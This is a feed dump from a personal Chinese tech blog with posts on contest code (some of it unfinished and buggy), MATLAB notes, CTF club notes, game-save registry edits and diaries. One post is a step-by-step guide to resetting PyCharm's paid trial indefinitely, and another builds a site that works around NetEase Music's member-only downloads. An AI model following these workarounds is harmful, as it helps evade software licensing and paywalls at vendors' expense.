16
17
18
19
20
21
22
23
24
25
26
27
28
29
Counts, Constant = list(map(int, input().split()))
Array = list(map(int, input().split()))
SubCount = []
# 前面的往小了改的话就得改成0,后面的往大了改就可以改很大

Min = []
Max = []

for i in range(len(Array)):
Min.append(min(Array[i:]))
try:
Max.append(max(Array[:i]))
except ValueError: # 第一个数字前面没有数字
Max.append(0)

for i in range(len(Min)):
if i == len(Min)-1: break
Count = 0
for j in Min[i+1:]:
if j >= Min[i]: Count += 1
else: break
SubCount.append(Count)
MaxSubCount = max(SubCount) # 获取当前最长子序列的位置
if SubCount.index(MaxSubCount)+1 <= Constant:
Result = SubCount.index(MaxSubCount) + MaxSubCount
else:
Result = MaxSubCount + Constant
print(Result)

试题 J: 最优清零方案

  • 时间限制: 5.0s
  • 内存限制: 512.0MB
  • 本题总分:25 分
  • 【问题描述】
    给定一个长度为 N 的数列 A1, A2, · · · , AN。现在小蓝想通过若干次操作将 这个数列中每个数字清零。 每次操作小蓝可以选择以下两种之一: 1. 选择一个大于 0 的整数,将它减去 1; 2. 选择连续 K 个大于 0 的整数,将它们各减去 1。 小蓝最少经过几次操作可以将整个数列清零?
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • 【输出格式】
    输出一个整数表示答案。
  • 【样例输入】
    4 2 1 2 3 4
  • 【样例输出】
    6
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 10。
    对于 40% 的评测用例,1 ≤ K ≤ N ≤ 100。
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 1000。
    对于 60% 的评测用例,1 ≤ K ≤ N ≤ 10000。
    对于 70% 的评测用例,1 ≤ K ≤ N ≤ 100000。
    对于所有评测用例,1 ≤ K ≤ N ≤ 1000000, 0 ≤ Ai ≤ 1000000。

印象中这题没做完?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Length, Constant = list(map(int, input().split(' ')))   # 获得数列长度以及连续的数字的数量K
Array = list(map(int, input().split(' '))) # 构造输入的数列
MinusTimes = []

##def GetConstantArray(array):
## ConstantPosList = []
## for i in range(len(array)):
## if i == len(array)-1: break
## if array[i]+1 == array[i]:
## StartPos = i
## CusPos = i+1
## EndPos = i+1
## while 1:
## if CurPos+1 >= len(array): # 指针已经指向最后一个数字了
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## if array[CurPos+1] == array[CurPos]+1: CurPos += 1 # 当指针指向的下一个数字与当前指向的数字+1相等就继续
## else: # 指针指向的下一个数字与当前数字+1不相等
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## return ConstantPosList
##print(GetConstantArray(Array))

for i in range(Length):
if i+Constant >= Length+1: break
MinusTimes.append(max(Array[i:i+Constant]))

MaxMinusTimes = max(MinusTimes)
MaxMinusTimesPos = MinusTimes.index(MaxMinusTimes)
MinusTimesSum = []
for i in range(Constant):
try:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:MaxMinusTimes+i]))
except:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:]))
MaxMinusTimesSumPos = MinusTimesSum.index(max(MinusTimesSum)) # 确定从哪里开始减,怎么减

]]>
+ + + + + Coding + + + + + + + Coding + + + +
+ + + + + CTF学习笔记(大学篇)01 —— CTF入门 + + /posts/CTF-in-College-1/ + +

前记

因为学校开启俱乐部活动了,然后我选的是网络攻防俱乐部,本身之前就玩过一些东西,顺带记点东西,便开启了这个坑~

所有未经允许的入侵均为违法

USB Ninja

一个可以伪装成各种正常的USB设备的攻击设备,因为体积非常小,甚至可以伪装成普通的数据线,鼠标啥的,有配套的手机蓝牙控制程序

不过因为好像是蓝牙控制所以距离应该……

资源搜索

B站、Google等(B站永远滴神!)

从软件入门网络安全

  • 脚本:Python、VBS、批处理、bash、ps1(Powershell)
  • 系统:Windows、Linux
  • 流程:Kali

从硬件入门网络安全

  • BadUSB作为模拟键盘生成恶意脚本产生攻击(17年在美国黑客大会提出,然而19年被国内的大佬们玩烂了额呵呵呵呵呵呵呵呵呵呵)【atmega32】
  • (然后我想起了在我家里吃灰的那一套Arduino)

在短时间内提高的方法——CTF训练平台

]]>
+ + + + + CTF + + + + + + + CTF + + Sec + + + +
+ + + + + NeteaseMusicDownload —— 网易云音乐自助下载网站 + + /posts/NeteaseMusicDownload/ + +

下载站主页


这个项目起源于一个生活小例子。昨天(2022.2.9)我在剪视频,然后需要某一首歌,结果网易云直接不给我下(会员限定)

那没办法,我只能看看找点别的办法,最开始想到的是@nondanee/unblocknetease这个项目,但是这个项目年久失修,我打开了代理通道后,网易云接入就发现,网易云提示未连接到网络,说白了就是用不了

后来我想到我手头上有网易云音乐的对外链接的api,想想应该可以拿这个东西搞定这个事情,这个项目便诞生了~


找模板

做一个网站,首先颜值必须得高,这里我去html5up找了一个模板来用(因为懒QAQ)

因为这个网站所需要的元素很简单,就是一个输入框、一个按钮而已

最终找了Eventually这个模板,下载下来进行修改

写按钮事件

这里就是要用户把链接帖进去,然后把输入的内容的网易云域名改为我的api域名,所以就在JavaScript里面做了一下字符串替换

1
2
3
4
5
6
7
8
9
10
11
12
13
function openNew(){
var link = document.getElementById("link").value;
const NeteaseReg = new RegExp('music.163.com')
const schemeReg = new RegExp('^https?://')
if(NeteaseReg.test(link) && schemeReg.test(link)) {
var ToOpen = link.replace("music.163.com", "api.ninym.top").replace("/#/","/"); //防止解析暴毙
window.open(ToOpen);
}
else{
alert('请输入正确的网易云链接!\n例如 https://music.163.com/song?id=467787951&userid=252340012')
}
}

在这里用了两个正则表达式来判断是否含有网易云域名和是否为http(s)链接,如果不是就弹出提示,如果是就跳转到下一个页面

/song页面下,再写一个JavaScript,直接获取网易云的外链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function GetQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg); //获取url中"?"符后的字符串并正则匹配
var context = "";
if (r != null)
context = r[2];
reg = null;
r = null;
return context == null || context == "" || context == "undefined" ? "" : context;
}
if (GetQueryString("id") == ''){
undefined
}
else{
window.open('https://music.163.com/song/media/outer/url?id='+GetQueryString("id")+'.mp3','_self');
}

GetQueryString是将连接中的query参数解析出来,因为这里只需要用到id这个参数,所以判断一下如果id为空,就不采取任何操作,如果id不为空,就跳转到网易云链接进行下载

打包上传

接着将用户页打包上传到Github仓库GamerNoTitle/NeteaseMusicDownload: 一个可以下载网易云歌曲的网站,将api上传到另一个Github仓库并绑定不同的域名,就完成啦!

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + MATLAB学习笔记 20211125 + + /posts/MATLAB20211125/ + +

变量类型

注:使用class(x)可以获得x变量的类型

整型

位数有8、16、32、64位

无符号型uint8(x),范围是02^8-1 (0000000011111111)

有符号型int8(x),范围是-2^72^7-1 (1000000001111111)

典例:

x = int8(129) 输出 x=127(超出了范围)

x = uint8(129) 输出 x=129

浮点型

分为单精度(single,4bytes)和双精度(double,8bytes),默认为双精度

single(x) 转为单精度型 double(x) 转为双精度型

复型

(其实就是复数,与Python差不多)

a+bi or a+bj(i与j一样)

使用real函数求得实部,imag函数求得虚部

输出格式

format命令,使用方法为format 变量类型,只影响数据的输出格式而不影响计算和存储

回到默认输出格式的话直接使用format即可

常用数学函数

函数运算规则

函数的自变量规定为矩阵变量,也可以是标量(为矩阵的一种特例),运算时将函数逐项作用于矩阵每个元素上,输出结果为矩阵

数学函数

三角函数类sin(x)(x为弧度)sind(x)(x为角度)

exp(x) 对x进行e^x的运算

应用

三角函数

以弧度为单位则直接使用,以角度为单位则要在后面加d,例如

sin(radian) & sind(degree)

绝对值

就是abs(x),与python一样,但是有种特殊用法是求字符串的ASCII码

例如abs('a')会输出97

取整函数

与C++有点类似

round(x)进行四舍五入取证

celi(x)进行向上取整

floor(x)进行向下取证

fix(x)舍去小数取整(实际上是取距离0近的那个数)

计算函数

rem(x,y) 求余函数,x为被除数,y为除数

isprime(n) 判断n是否为素数,TRUE则返回1,FALSE则返回0

向量生成

x=1:100 将1~100组成的所有整数作为向量赋给x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
x = 1:100
x

[output]
x =

125

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

2650

26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

5175

51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

76100

76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

x=find(n)

find()函数的功能是找到向量或者矩阵中不为0的元素

典例:求[1,100]间的所有素数

1
2
3
4
5
6
7
8
9
10
11
12
13
x=1:100;
k=isprime(x);
k1=find(k);
p=x(k1)
p =

124

2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89

25

97

开始学习MATLAB了,因为上网不太方便所以部署应该是几天的笔记一起部署

变量及其操作

变量命名:开头为字母(不能是下划线),可用字母、下划线、数字,长度最大为63字符,大小写敏感

函数/命令命名:遵循变量命名的同时要求全小写

赋值

最基础的直接用变量名=表达式即可,但是如果直接写表达式,那么就会直接赋给MATLAB的变量ans,如果在变量名=表达式后面加分号变成变量名=表达式;,那么则不会输出变量名的值

默认赋值变量

变量名为ans,如果直接输入表达式,那么值会直接被赋值给ans

预定义变量

ans 默认赋值变量

i j 虚数单位

pi 圆周率

NaN 非数

变量的管理

1、在工作区窗口可以对内存进行管理(删除和修改)

2、使用who或者whos可以看到变量(前者只显示名称,后者会给出大小、内容、类型等)

变量的导出/导入

文件格式为.mat,可以保存工作区变量

使用save 文件名 变量名 ...来保存变量、load 文件名来载入变量

]]>
+ + + + + MATLAB + + + + + + + MATLAB + + + +
+ + + + + MATLAB学习笔记 20211126 + + /posts/MATLAB20211126/ + +

矩阵

矩阵的建立

用中括号括起来,按矩阵行的顺序输入各元素,同一行的用逗号,或者空格 分割,不同行的用分号分割

例如:

1
2
3
4
5
6
7
8
a = [1 2 3; 4 5 6; 7 8 9]

[output]
a =

1 2 3
4 5 6
7 8 9

矩阵可以利用已建好的矩阵来建立更大的矩阵,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
A = [1 2 3; 4 5 6; 7 8 9];
B = [-1 -2 -3; -4 -5 -6; -7 -8 -9];
C = [A, B; B, A]

[output]
C =

1 2 3 -1 -2 -3
4 5 6 -4 -5 -6
7 8 9 -7 -8 -9
-1 -2 -3 1 2 3
-4 -5 -6 4 5 6
-7 -8 -9 7 8 9

可以用实部矩阵和虚部矩阵构成虚部矩阵,例如

1
2
3
4
5
6
7
8
9
B = [1 2 3; 4 5 6];
C = [6 7 8; 9 10 11];
A = B + i * C

[output]
A =

1.0000 + 6.0000i 2.0000 + 7.0000i 3.0000 + 8.0000i
4.0000 + 9.0000i 5.0000 +10.0000i 6.0000 +11.0000i

冒号表达式

可以使用冒号表达式来建立行向量(矩阵的特殊类型)

格式为e1:e2:e3e1为初始值,e2为步长,e3为终止值,跟Python的range(Start, End, Step)有点相似,只不过终止值和步长换了位置,在冒号表达式中,e2可以不写,那步长就默认为1,即t = 0:1:5 = t = 0:5

例如:

1
2
3
4
5
6
t = 0:1:5

[output]
t =

0 1 2 3 4 5

linspace函数

可以用于产生行向量,用法为linspace(a,b,n)a是第一个元素,b是第二个元素,n是元素总数,当n省略时,其缺省值为100(跟numpynumpy.linspace(Start, End, Count)用法一样,只不过numpy的缺省值是50

结构矩阵(struct)

感觉有点类似制表,使用格式为结构矩阵元素.成员名 = 表达式,这里还是给出个例子

1
2
3
4
5
6
7
8
9
10
11
12
a(1).x1 = 10;a(1).x2 = 'liu'; a(1).x3 = [1 2 3];
a(2).x1 = 20;a(2).x2 = 'wang'; a(2).x3 = [4 5 6];
a

[output]
a =

包含以下字段的 1×2 struct 数组:

x1
x2
x3

在变量浏览器里面可以看到这个a变量长这样

x1x2x3
110‘liu’[1,2,3]
220‘wang’[4,5,6]

单元矩阵

建立方法:使用大括号{}将元素括起来,所有元素可以是不同类型的数据,例如:

1
2
3
4
5
6
7
8
9
10
b = {10 'liu' [1 2 ; 4 5]; 20, 'wang' [6 7 ; 9 10]}

[output]
b =

2×3 cell 数组

{[10]} {'liu' } {2×2 double}
{[20]} {'wang'} {2×2 double}

在变量浏览器里面可以看到b变量长这样(就是真正的表格了,没有x1,x2,x3这种头头索引)

123
110‘liu’[1,2;4,5]
220‘wang’[6,7;9,10]

矩阵元素的使用

引用方式

下标法

使用变量名(位置)来索引,例如:

A(3,2)表示A矩阵第3行第2列的位置,同样可以通过该方式修改矩阵中的元素,例如:

A(3,2) = 100就是将A矩阵第3行第2列的元素修改为100

实例
1
2
3
4
5
6
7
8
9
10
A = [1 2 3; 4 5 6];
A(5,5) = 10

A =

1 2 3 0 0
4 5 6 0 0
0 0 0 0 0
0 0 0 0 0
0 0 0 0 10

当给出的行和列的下表超出了矩阵的行数和列数,那将会自动扩展原来的矩阵并将为赋值元素自动赋值为0

序号法

序号就是元素在矩阵的排列顺序,存储顺序是第一列->最后一列(不是我们习惯性的行),例如:

1
2
3
4
5
6
7
A = [1 2 3; 4 5 6];
A(3)

[output]
ans =

2

序号与下标是一一对应的,以m*n矩阵A为例,矩阵A(i,j)的序号是(j-1)*m+i

矩阵元素的序号和下标可以通过sub2ind(行列换序号)和ind2sub(序号换行列)函数进行相互转换

调用格式:

D=sub2ind(S,I,J)S表示由矩阵的行数和列数组成的向量,一般用size(变量名)来获取;I表示转换矩阵元素的行下标,J表示转换矩阵元素的列下标。若IJ为矩阵的话,会将多个元素的下表转换为序号,此时IJ的行列数必须相同

[I,J]=ind2sub(S,D)S表示行数和列数组成的向量,D表示序号,返回序号所对应的行下标和列下表,I为行下标,J为列下标

冒号表达式

这一节以下面的几个例子展开:

1
2
3
4
A(i,:)% 第i行的全部元素
A(:,j)% 第j列的全部元素
A(i:i+m,k:k+m)% 第i~i+m行内且在第k~k+m列中的所有元素
A(iLi+m,:)% 第i~i+m行的全部元素

从上面看,个人认为有点像Python的列表切片那种东西,只不过这里是二维的而且是全闭区间,Python的是半开半闭区间

可以使用end来表示某一位的末尾元素下标,例如:

1
2
3
4
5
6
7
A = [1 2 3; 4 5 6; 7 8 9];
A(end,:)

[output]
ans =

7 8 9

此处的end就是第三行,也就是说end会取到行/列的最大值

删除矩阵元素

利用空矩阵删除矩阵的元素

x为非空矩阵,此时想删除x中的内容,则直接使用x = []就可以删除元素了

可以跟冒号表达式一起使用删除大矩阵中的部分元素

改变矩阵的形状

利用函数reshape(A,m,n),表示在矩阵A保持不变的情况下,将A排列为m*n的二维矩阵,但是不改变元素个数和存储顺序,举例:

1
2
3
4
5
6
7
8
9
x = [1 2 3 4 5 6 7 8 9 10 11 12];
y = reshape(x,3,4)

[output]
y =

1 4 7 10
2 5 8 11
3 6 9 12

特殊的表达方式A(:)将A的每一列元素堆叠起来,成为一个列向量,例如:(此处的x与上面的一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
z = x(:)

[output]
z =

1
2
3
4
5
6
7
8
9
10
11
12

这样z就是用x中的元素堆叠成的列

]]>
+ + + + + MATLAB + + + + + + + MATLAB + + + +
+ + + + + Pycharm无限使用记录 + + /posts/Pycharm-Unlimited-Evaluate/ + +

Pycharm是个老牌的PY编辑器了,但是一直都没用它因为它收费而且社区版少很多功能。这不别人又给我推荐了一下它,作为老白嫖怪(花钱是不可能花钱的这辈子都不可能的)当然是要找办法来搞定它的激活的。

一开始我是找的激活码,但是我发现这软件的激活码没那么简单,后来就找到了下面的方法

(PS:理论上此方法适用于所有的JetBrains软件)

首先我们要安装一个Pycharm(这不是废话嘛),这边建议从官方下载不要走C&J。官方下载链接在这里:https://www.jetbrains.com/pycharm/

然后我们打开Pycharm,选择Evaluate,也就是评估,进入30天的试用期

在顶上找到File,点击Settings

然后在左边找到Plugins,点击上面的小齿轮,选择Manage这一项

然后在窗口点击+号,加入https://plugins.zhile.io这一项

返回,搜索IDE Eval Reset,并安装,然后重启你的Pycharm

重启以后,你能在Help选项卡下找到Eval Reset选项

Auto reset before per restart点上,点击右边的Reset,就会被重置为30天试用期了


本文结束!说点别的,因为我所去到的大学对网络、设备有着严格的要求,所以我可能长达一年都不会更新,请大家谅解!

]]>
+ + + + + + Software + + + +
+ + + + + 日常吐槽10:为什么我叫做"GamerNoTitle"? + + /posts/ID-History/ + +

总有人问我:为啥你叫XXX呀?那么我今天就来告诉你们我的这些ID都是怎么来的

(每个ID的故事用一个标题分割,可以在目录中快速找到)

bilibiliMeowMiku

这个主要是因为最开始我在玩CODOL(tx打钱)的时候,本来我在华东大区,当时因为活动挤不进去,当时我本来也就是为了活动上线的,既然挤不进去我也没办法,然后我同学(小学的)就说其他区也可以,但是我其他区没创号,然后就要起ID。我当时很烦恼,本来也就不擅长这种事情,然后我同学说:“那你就叫‘喵呜初音’吧!”然后我也很老实地打了上去,从此以后就出现了喵呜初音这个ID,我所有的国内的软件、游戏的ID都是这个。因为B站也写的这个,而外面的游戏和网站要求的用户名不能用中文,然后就用MeowMiku,但是这个ID早就被注册了,所以前面加上bilibili就变成了bilibiliMeowMiku

FutureCode

这个主要是用惯了上面的ID发现太长了,然后就想换一个ID。当时B站在微软商店的公司名称是上海未来代码科技有限公司,然后我就把未来代码拿下来用变成了FutureCode,然后就用上了

FutureCompile

这个是因为FutureCode太多人用了导致重名,就把Code改成了Compile(编译)

Gamer.bili

这个是我在高一的时候开始用的,因为当时一直在玩游戏,所以感觉给自己冠以Gamer的头衔好像没什么问题,然后还是出于对B站的热爱,就在点后面加了bili的字样

GamerNoTitle

这个是从Gamer.bili变过来的,当时很喜欢听一首歌叫做NoTitle(放在这行的下面)

        

然后就把bili改成了NoTitle,成了我最常用的ID

更多ID?

以后再更……

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 音灵INVAXION解锁工具制作全纪录 + + /posts/INVAXION-Unlock-Log/ + +

PS:音灵解锁补丁是我在高考前1个月左右的时候摸的,具体可以看Commit记录√

音灵在2021.2.5宣布停运,我直到五月左右上游戏的时候才发现,我卡在了加载页面,翻了一下讨论区才发现,游戏停运了

但是我还在讨论区里找到了这个

然后我就下了这个使用了,发现,诶,我的铺面确实全解锁了,于是我开始了我的星舰解锁工具和角色解锁工具的制作


星舰这个东西,我翻了一下我自己的存档(在注册表)

注:本图是解锁完成后的注册表

发现数字都在个位数,而我数了一下星舰的数量是13,我就在想,星舰的编号是不是从1~13,然后我就开始了我的解锁之旅

一开始我先将里面的内容换成了

1
[{"themeID":1},{"themeID":2},{"themeID":3},{"themeID":4},{"themeID":5},{"themeID":6},{"themeID":7},{"themeID":8},{"themeID":9},{"themeID":10},{"themeID":11},{"themeID":12},{"themeID":13}]

这样一长串(拿Python生成的,毕竟我可不想一个一个打)

转成Hex就变成了

1
5b,7b,22,74,68,65,6d,65,49,44,22,3a,31,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,32,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,33,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,34,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,35,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,36,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,37,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,38,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,39,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,30,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,31,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,32,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,33,7d,5d

然后导入注册表,接着发现

爷进不了离线模式了……

有点崩溃,一开始还以为是思路有问题,先恢复了一下(谁在操作存档的时候不备份呀)

恢复以后再次打开注册表发现:themeId不是themeID

哎呀犯了一个低级错误,重新来

将所有的ID改成Id重新导入,诶成了,但是巨蟹号(最后含金量的主题)没有解锁

然后试了一下ID0和ID14,终于搞定了,ID14是巨蟹号的

人物当然也一样啦,但是人物那么多,而且ID还不是像主题这样连着的

注:本图是解锁完成后的注册表

我就去翻了一下文件,在音灵 INVAXION\INVAXION_Data\StreamingAssets这个目录下找到了所有的角色文件,在文件名上附有ID

再次掏出工具(Python),生成对应的列表,然后导入,果然不出所料,所有角色都已经解锁了

接着打包,发布在Steam社区,在Github配布文件,搞定√

星舰解锁:https://steamcommunity.com/app/921630/discussions/0/3150808675338262041

人物解锁:https://steamcommunity.com/app/921630/discussions/0/3150808675345244413

铺面解锁(不是我做的,但是是我参考的):https://steamcommunity.com/app/921630/discussions/0/5350815203296872967/

存档配布(只打了全铺面,我的个人存档):https://steamcommunity.com/app/921630/discussions/0/3130541756147189784/(中文)

https://steamcommunity.com/app/921630/discussions/0/3150808588793019131/(英文)

要是你有Steam点数可以稍微给我打赏一点,谢谢老板(*^▽^*)

]]>
+ + + + + Tech + + + + + + + Tech + + Regedit + + Save + + Game + + + +
+ + + + + 网站优化:网站目录缩短及重定向 + + /posts/301Redirect/ + +

考完高考啦,闲的没事干,想着之前各种SEO优化服务给我发的邮件,我想说:我自己也知道我的链接太长了呀!!!

所以这波是自己来优化(其实就是把链接缩短了而已)

本来是想着每个都加个301跳转,这样我就可以跳转到网页了,然后新建了两个干了起来

本来的想法

然后看到我的一堆文章,啥呀,整整三十六篇???!我这得搞到什么时候

说句实话,我才弄好俩了,就已经感觉太麻烦了,这条路行不通

然后我就想用我三脚猫功夫的JavaScript来弄,于是就有了下面这种问题

想法:

  • 使用window函数获取当前链接
  • 使用正则表达式匹配链接
  • 将连接中的日期统一替换为posts
  • 控制301访问新的链接

想好了,开工!


我的第一版JavaScript是这么写的

1
2
3
url = window.location.href
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result

解读一下:

  • 获取当前链接地址并赋值为url
  • 将替换url中匹配正则表达式的部分,并替换为posts
  • 通过window函数将网页定位到新的链接

写好,上传到Github并用jsdelivr引入,渲染访问

然后问题就来了:所有的网页(因为我是全局引入)会进入无尽的刷新状态,原因是访问时不管是匹配还是不匹配都会进行301重定向,重定向完后访问的目标网页也有这个JavaScript,再次进行重定向,然后就进入了循环

(事实上,我到了第三版才发现这个问题,所以我们先放着这个问题)


下面是第二版√

1
2
3
4
5
6
7
8
9
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
if(whether == True){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}
else{
window.location = url
}

这个说句实在话,我在404.html引入的,然后将posts重定向的地方对了,但是,一旦不符合这个表达式,还是会陷入死循环,死在404界面上,然后这时候我才发现了这个问题,再次进行修改


第三版开始啦!

1
2
3
4
5
6
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
if(whether == true){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}

仍旧是在404页面引入的,这版是好的,直接放在网站的/js/301Redirect.js里面,404页面引入即可

另:在做这个的过程中,jsdelivr好像有点问题,就是本来可以通过访问purge.jsdelivr.net来刷新文件缓存,但是实际上自从jsd上次Down了以后,访问就刷不了了,所以最后采用的是放在网站的目录中而不是放在jsd引入

总之这一次的网站优化就这么搞定了,新链接还行,就等搜索引擎自己帮我改过去了√


2021.6.24更新

发现访问的链接并不一定是上面那样/YYYY/MM/DD/:post的形式,甚至有/YYYY/MM/DD/:post//YYYY/MM/DD/:post/index.html的访问方式,所以我又来修改了

1
2
3
4
5
6
7
8
9
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
whethersplash = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]\//i)
whetherindex = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]\/index.html/i)
if(whether == true | whethersplash == true | whetherindex == true){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}

加多了两个判断,然后用或运算符在if中判断是否需要跳转,完事!

不知道这样可不可以,用一段时间再说吧√

]]>
+ + + + + Tech + + + + + + + Tech + + SEO + + Optimize + + Webmaster + + + +
+ + + + + “陪伴是最长情的告白” + + /posts/diary6/ + +

这应该是我第一次写这种对话式的文章,怎么说呢,本文其实是我要说的一些东西……

相信经常跟我聊天的群友们知道,我现在(2020.7.15)是一名高三学生,在2021年参加高考,也就是说,现在我其实并没有什么精力放在网站的维护和文章的撰写上

2019年7月1日,本站正式上线,当时还是本主题的早期开发版,功能还挺少的,而且没有多级导航菜单。文章只有一篇hello world,直到我7月5号写了当时我用的挺多的一个软件——cmder,才有了第一篇文章

7月9号,我同学LOL想带我上分,但是发现自己的电脑系统坏了,问我怎么装,我说了以后他并没有明白,就写了一篇Windows安装教程

此后,我一直在更新一些软件分享类的教程,当然也包括hexo的部署直播服务器srs的搭建CloudFlare Workers的实战等文章,当然其中包括我高一同学合作完成的小说“这个故事由我开始,也应由我来结束”(主页隐藏)

到了今年的寒假,因为新冠肺炎爆发,我在家里很无聊,开始写起了爬虫,就出现了Hitokoto-SpiderNetease-Comment-Spider这两个项目,其实这是我第一次将python的知识拿来实战,后来就开始不断用python弄各种东西,包括Valine-Magic,还写了几个MCDReforged的插件,深刻地体会到了开发的乐趣

2020/5/11这一天,我回到了学校,开始复学。从这天开始,我露头的机会就少了很多,主要是①从工作室退休了 ②不是经常坐在电脑前,所以大家的留言我会比较晚回复(高PING战士)

不过我还是在坚持更新Valine-Magic,渐渐地从Github中回到了现实生活

2020/7/15这天,我正式考完了高二最后一场考试,升到了高三。我将在2020年8月9日返校开学,到那时,我将会真正投入学习,所以就没什么精力去更新本站和Valine-Magic(可以交Issue和PR),希望各位友链大佬能够给小弟保留一个位置

陪伴是最长情的告白,感谢各位访客的陪伴,到了今天在我写这篇文章的时候,UV是7538,PV是24138。不管你是刚来到本站,还是以前就来过本站,我在这里都感谢你们。我将在2021年6月8日到2021年6月10日参加全国高考,届时等我合上笔盖,从学校回到开发界,我相信我能够闯出属于我的天空!

想与我联系,可以使用QQ加3559869084或者发邮件到admin@bili33.top,我的索爱W595C虽然已经饱经沧桑,但是他还是能看邮件的……

菠咯波咯哒のSony Ericsson W595C

GamerNoTitle

2020-07-15 18:27:01

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事 + + /posts/diary9/ + +

本文直接从我个人的讨论区复制过来的,图片是GithubUserContent域名下的,加载可能有点慢

原链接:关于得知Github查封Action仓库的信息后我自行删除脚本的这档事 #2

关于得知Github查封Action仓库的信息后我自行删除脚本的这档事(不要以为随便起个标题就是长标题了呀喂(#`O′))

昨天(2021.5.19)收到别人在我的网站下留言是这么说的:
image
鉴于这位之前发过mcbbs的账号给我,所以我迅速就取得了联系(邮件上),然后得到了下面的消息(直链):
imageimage

我也是非常震惊,本来打算第二天(2021.5.20)把所有仓库删了的(因为临近高考没带智能手机),但是正巧,晚上有同学来找我拷毕业照拍摄当天的照片,所以我就借了一台手机把我的源码备份了然后全部删除了

这就是我删除了我的仓库的原因,按道理,所有的Fork会变成Origin类型的仓库(即源仓库,搜索是能检索到的),但是实际上当我检索我的两个仓库的时候就发现,220+的wyycg-autocheckin只有 个搜索结果,而另一个有120+的bilibiliJudge只有2个搜索结果
image
image

说明Github这波是真的行动了,可能是我行动比较早,所以目前没受到封号

有的人可能会问:如果我把仓库调成私有呢?
结果是:虽然私有仓库GItHub官方”不能”看到你的内容和Action的详细记录,但是发现了异常他们也可以提权处理
image

至于那些没有提供Action的运行方式的而是云函数的那些,也遭到了不同程度的后果
image
image

那如果我配布到Gitee呢?
事实上,Gitee的功能并没有Github那么好用,而且就个人而言我比较讨厌Gitee,所以我应该是不会配布到Gitee的
image

总而言之,这一次的时间对于整个脚本界都是一次灾难,我们从来没有想过Github会清理脚本类型的仓库。对我来说,因为行动比较早所以没有受到严重的影响,但是我近期应该不会再致力于脚本的开发工作了,临近高考压力也比较大。等高考完网易云那个应该会做成云函数版在Github重新配布(会配Action文件但是如果要启用的话需要自己挪入对应的位置),B站那个嘛,看情况而论。


题外话:
虽然我每次都把三个Badges丢在脚本的开头,但是实际上没有任何一个人给我赞助(o(╥﹏╥)o)
前往爱发电赞助 使用微信赞助 使用支付宝赞助

有的时候我在想:做脚本是否是一件正确的事情,
之前我的B站仲裁脚本只是开了个坑(建了个仓库并写了个README),就有别人来支持我了,到现在我们两个还保持着联系。他经常发我一下风纪委员会的总结专栏下面的评论:
image
image

我们在做/使用脚本的过程中是否侵犯了其他用户的利益,我觉得这是值得我们脚本开发者和使用者深思的事情。反正我近期不会再开发脚本了(一部分是高考,一部分是现在在做Koikatu的卡牌,不懂得自己搜)

如果你有什么建议/意见,可以在这个Discussion下面留言,看到必回。就这样(^o^)/


2021/5/22 更新

今天回家后发现本人小号有两个仓库已经中招了
image
image
image

]]>
+ + + + + diary + + + + + + + Github + + diary + + Action + + + +
+ + + + + 白嫖?给我也整一个!白嫖网易云游戏平台时长 + + /posts/NeteaseCloudGameFree/ + +

网易云游戏平台

有谁不爱白嫖呢,特别是配置好的东西

